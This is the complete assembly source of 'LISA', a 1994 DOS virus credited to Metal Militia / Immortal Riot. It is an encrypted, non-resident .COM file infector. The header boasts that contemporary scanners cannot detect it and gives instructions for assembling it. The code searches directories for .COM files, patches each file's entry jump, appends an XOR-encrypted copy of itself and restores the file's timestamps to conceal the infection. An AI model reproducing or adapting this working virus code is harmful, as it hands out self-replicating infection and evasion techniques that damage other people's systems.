2022-08-21 09:07:57 +00:00
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; Virusname: LISA
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; Origin: Sweden
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; Author: Metal Militia
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; Date: 24/12/1994
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;
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; This virus can't be found with any anti-virus program (of the below
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; that is) SCAN/TB-SCAN/F-PROT/SOLOMON. This because of that it's totally
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; new written.
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;
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; It's a non-resident, encrypted, .com infector that spread with the
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; "dot-dot" method. No damage is made, and no message is shown, but
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; inside the code you can find some love greetings to the flower in
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; my heart, Lisa Olsson. This was written on the christmas eve, as a
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; 'happy new year' greeting to her, then especially for '94, but
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; also for all other coming years.
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;
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; I may continue on thisone and make more and better versions.
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; PS!, to tasm this virus, write: tasm /m3 lisa.asm, then just
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; link it to a .com file by writing: tlink /t lisa.obj.
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Lisavirus segment
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Assume CS:LisaVirus
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Org 100h ; account for PSP
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Start: db 0e9h ; jmp duh ; Jump to duh
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dw 0
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duh: call next
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next: pop bp ; bp holds current location
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sub bp, offset next ; calculate net change
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jmp go_for_it
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go_for_it:
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call encrypt_decrypt ; encrypt/decrypt it..
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jmp restore ; jump to the real "start".
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write_virus:
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mov word ptr [bp+crypt_val],30h ; Here we use the enc_value
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call encrypt_decrypt ; call encrypt/decrypt
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mov cx, eov - duh ; Write the virus
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lea dx, [bp+duh]
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mov ah, 40h
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int 21h
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call encrypt_decrypt ; call encrypt/decrypt (again, just like the text says)
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ret ; ret(urn) to the "caller"
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crypt_val dw 0 ; encryption value
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encrypt_decrypt:
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mov ax,word ptr [bp+crypt_val] ; the encrypt/decrypt rountine
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lea si,[bp+encrypt_start]
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mov cx,(eov-duh+1)/2
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again:
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xor word ptr [si],ax ; XOR's kicking it :)
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inc si
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inc si
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loop again ; loop it all
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ret ; ret(urn) to caller
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encrypt_start: ; start of encryption
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restore:
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lea si, [bp+offset stuff] ; Restore the beginning
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mov di, 100h ; (see stuff, the buffer)
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push di
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movsw
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movsb
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lea dx, [bp+offset dta] ; Set the DTA
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call set_dta
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mov ah,47h ; Get the current directory (will be restored lateron)
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xor dl,dl
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lea si,[bp+eov+2ch]
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int 21h
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findfirst:
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mov ah, 4eh ; Find first
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lea dx, [bp+masker] ; search for '*.COM',0
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tryanother:
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int 21h
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jc chdir ; Quit on error
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mov ax, 3D02h ; Open the file
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lea dx, [bp+offset dta+30] ; File name is located in DTA
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int 21h
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xchg ax, bx ; instead on mov bx,ax.. one byte saved :)
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mov ax,5700h ; Take the file's time
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int 21h
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push cx
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push dx
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mov cx, 3 ; Read in the first three bytes
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lea dx, [bp+stuff]
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mov ah, 3fh
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int 21h
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; Check if already infected
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mov cx, word ptr [bp+stuff+1] ; jmp location
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mov ax, word ptr [bp+dta+26]
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add cx, eov - duh + 3 ; convert to filesize
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cmp ax, cx ; if same, already infected
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jz close ; so quit out of here
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sub ax, 3 ; ax = filesize - 3
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mov word ptr [bp+writebuffer], ax
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xor al, al ; Go to the beginning
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call f_ptr
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mov cx, 3 ; Write three bytes
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lea dx, [bp+e9]
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mov ah, 40h
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int 21h
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mov al, 2 ; Go to the end
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call f_ptr
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mov ah,2ch
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int 21h
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mov word ptr [bp+crypt_val],dx
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call write_virus
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close:
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pop dx
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pop cx
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mov ax,5701h ; Restore the files time
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int 21h
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mov ah, 3eh ; Close the file
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int 21h
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; Try infecting another file
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mov ah, 4fh ; Find next, try to infect
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jmp short tryanother ; another file.
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chdir:
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mov ah,3bh ; Change up one dir
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lea dx,[bp+offset newdir]
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int 21h
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jc quit
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jmp findfirst
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quit:
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real_quit:
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lea dx,[bp+eov+2ch] ; Restore the DIR
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mov ah,3bh
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int 21h
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fix_it:
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mov dx, 80h ; Restore the DTA to the
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; default
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set_dta:
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mov ah, 1ah ; Set the disk transfer
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int 21h ; address
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exit:
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retn ; Return to org. program
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f_ptr: mov ah, 42h
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xor cx, cx
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cwd ; equal to xor dx,dx or the
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int 21h ; other style, sub dx,dx
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retn
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db 'love.girl.LISA.forever.666 ' ;
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db '(c) Metal Militia / Immortal Riot '
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db 'Sweden 24/12/93 ' ; the Date of finish, christmas eve
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db 'Thunderclouds pass the sky, dreams & thoughts '
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db 'goes thrue my mind.. winds of love, floods of '
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db "hope, until the day, when you'll be mine!.... "
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db 'Dedicated to Lisa Olsson who will always be my passion '
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db 'my obsession and my infinite dream. All i ever wanted, '
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db 'all i ever asked for. Happy new year, yours Metal..... '
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newdir db '..',0 ; needed to move up one dir (dot-dot method)
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masker db '*.com',0 ; filetype to infect, .com-files
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greets db 'Greets to Raver and The Unforgiven/IR' ; greets to my
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; friends
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stuff db 0cdh, 20h, 0 ; original three bytes saved here
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e9 db 0e9h ; the jmp
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eov equ $ ; end of virus/encryption
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writebuffer dw ? ; Scratch area for the JMP
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; offset holding.
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dta db 42 dup (?) ; the DTA thingy (42 dup)
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LisaVirus ENDS
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2021-01-12 23:47:04 +00:00
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END Start
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